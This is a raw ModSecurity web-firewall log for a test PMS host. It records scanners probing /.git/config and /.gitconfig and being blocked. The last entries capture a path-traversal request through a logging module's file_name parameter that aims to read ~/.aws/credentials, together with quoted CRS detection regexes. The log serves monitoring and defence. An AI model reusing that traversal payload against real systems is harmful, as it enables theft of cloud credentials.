[Sat May 31 23:25:10.859629 2025] [:error] [pid 3536285] [client 165.1.71.166:41490] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aDtztoEq4lJoMFaf2sMJ3gAAAAg&quot;], referer: http://pms.test.indacotrentino.com/webpack.config.js
[Sat May 31 23:25:14.320878 2025] [:error] [pid 3536285] [client 165.1.71.166:41490] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDtzuoEq4lJoMFaf2sMJ5wAAAAg&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Sat May 31 23:25:14.321221 2025] [:error] [pid 3536285] [client 165.1.71.166:41490] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDtzuoEq4lJoMFaf2sMJ5wAAAAg&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Sat May 31 23:25:14.321431 2025] [:error] [pid 3536285] [client 165.1.71.166:41490] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDtzuoEq4lJoMFaf2sMJ5wAAAAg&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Sat May 31 23:25:14.649218 2025] [:error] [pid 3536285] [client 165.1.71.166:41490] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDtzuoEq4lJoMFaf2sMJ6AAAAAg&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Sat May 31 23:25:14.649498 2025] [:error] [pid 3536285] [client 165.1.71.166:41490] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDtzuoEq4lJoMFaf2sMJ6AAAAAg&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Sat May 31 23:25:14.649677 2025] [:error] [pid 3536285] [client 165.1.71.166:41490] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDtzuoEq4lJoMFaf2sMJ6AAAAAg&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Sat May 31 23:25:15.077666 2025] [:error] [pid 3536285] [client 165.1.71.166:41490] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;.gitconfig&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitconfig found within REQUEST_FILENAME: /.gitconfig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitconfig&quot;] [unique_id &quot;aDtzu4Eq4lJoMFaf2sMJ6QAAAAg&quot;], referer: http://pms.test.indacotrentino.com/.gitconfig
[Sat May 31 23:25:15.077931 2025] [:error] [pid 3536285] [client 165.1.71.166:41490] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitconfig&quot;] [unique_id &quot;aDtzu4Eq4lJoMFaf2sMJ6QAAAAg&quot;], referer: http://pms.test.indacotrentino.com/.gitconfig
[Sat May 31 23:25:15.078137 2025] [:error] [pid 3536285] [client 165.1.71.166:41490] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitconfig&quot;] [unique_id &quot;aDtzu4Eq4lJoMFaf2sMJ6QAAAAg&quot;], referer: http://pms.test.indacotrentino.com/.gitconfig
[Sat May 31 23:25:15.405663 2025] [:error] [pid 3536285] [client 165.1.71.166:41490] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;.gitconfig&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitconfig found within REQUEST_FILENAME: /.gitconfig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitconfig&quot;] [unique_id &quot;aDtzu4Eq4lJoMFaf2sMJ6gAAAAg&quot;], referer: http://pms.test.indacotrentino.com/.gitconfig
[Sat May 31 23:25:15.405954 2025] [:error] [pid 3536285] [client 165.1.71.166:41490] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitconfig&quot;] [unique_id &quot;aDtzu4Eq4lJoMFaf2sMJ6gAAAAg&quot;], referer: http://pms.test.indacotrentino.com/.gitconfig
[Sat May 31 23:25:15.406175 2025] [:error] [pid 3536285] [client 165.1.71.166:41490] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitconfig&quot;] [unique_id &quot;aDtzu4Eq4lJoMFaf2sMJ6gAAAAg&quot;], referer: http://pms.test.indacotrentino.com/.gitconfig
[Sun Jun 01 00:24:30.304872 2025] [:error] [pid 3554516] [client 54.226.216.238:57668] [client 54.226.216.238] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDuBnniftC5RKXzC4YDbRQAAAAg&quot;]
[Sun Jun 01 00:24:30.305163 2025] [:error] [pid 3554516] [client 54.226.216.238:57668] [client 54.226.216.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDuBnniftC5RKXzC4YDbRQAAAAg&quot;]
[Sun Jun 01 00:24:30.305352 2025] [:error] [pid 3554516] [client 54.226.216.238:57668] [client 54.226.216.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDuBnniftC5RKXzC4YDbRQAAAAg&quot;]
[Sun Jun 01 16:11:19.187795 2025] [:error] [pid 3562263] [client 93.123.109.105:35352] [client 93.123.109.105] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDxfh_EY37t3P06h095yJgAAAAk&quot;]
[Sun Jun 01 16:11:19.188090 2025] [:error] [pid 3562263] [client 93.123.109.105:35352] [client 93.123.109.105] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDxfh_EY37t3P06h095yJgAAAAk&quot;]
[Sun Jun 01 16:11:19.188260 2025] [:error] [pid 3562263] [client 93.123.109.105:35352] [client 93.123.109.105] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDxfh_EY37t3P06h095yJgAAAAk&quot;]
[Sun Jun 01 22:00:10.915441 2025] [:error] [pid 3558349] [client 3.81.53.186:49144] [client 3.81.53.186] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDyxStXprnawRx3sH6EpKQAAAAA&quot;]
[Sun Jun 01 22:00:10.915716 2025] [:error] [pid 3558349] [client 3.81.53.186:49144] [client 3.81.53.186] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDyxStXprnawRx3sH6EpKQAAAAA&quot;]
[Sun Jun 01 22:00:10.915888 2025] [:error] [pid 3558349] [client 3.81.53.186:49144] [client 3.81.53.186] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDyxStXprnawRx3sH6EpKQAAAAA&quot;]
[Tue Jun 03 12:36:43.725658 2025] [:error] [pid 3601618] [client 185.177.72.179:53120] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aD7QO75N9fR7D5OgFojLxgAAAAA&quot;]
[Tue Jun 03 12:36:43.727914 2025] [:error] [pid 3601618] [client 185.177.72.179:53120] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aD7QO75N9fR7D5OgFojLxgAAAAA&quot;]
[Tue Jun 03 12:36:43.728134 2025] [:error] [pid 3601618] [client 185.177.72.179:53120] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aD7QO75N9fR7D5OgFojLxgAAAAA&quot;]
[Wed Jun 04 14:56:47.324375 2025] [:error] [pid 3627655] [client 216.81.248.85:64688] [client 216.81.248.85] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aEBCj5emqUukgfb-8DoGOwAAAA4&quot;]
[Wed Jun 04 14:56:47.324655 2025] [:error] [pid 3627655] [client 216.81.248.85:64688] [client 216.81.248.85] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aEBCj5emqUukgfb-8DoGOwAAAA4&quot;]
[Wed Jun 04 14:56:47.324833 2025] [:error] [pid 3627655] [client 216.81.248.85:64688] [client 216.81.248.85] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aEBCj5emqUukgfb-8DoGOwAAAA4&quot;]
[Sun Jun 08 02:25:53.821879 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...&quot; at REQUEST_URI_RAW. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;46&quot;] [id &quot;930100&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI_RAW: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aETYkbUz9CVwWtZ9cYd_rgAAAAI&quot;]
[Sun Jun 08 02:25:53.823569 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aETYkbUz9CVwWtZ9cYd_rgAAAAI&quot;]
[Sun Jun 08 02:25:53.823635 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aETYkbUz9CVwWtZ9cYd_rgAAAAI&quot;]
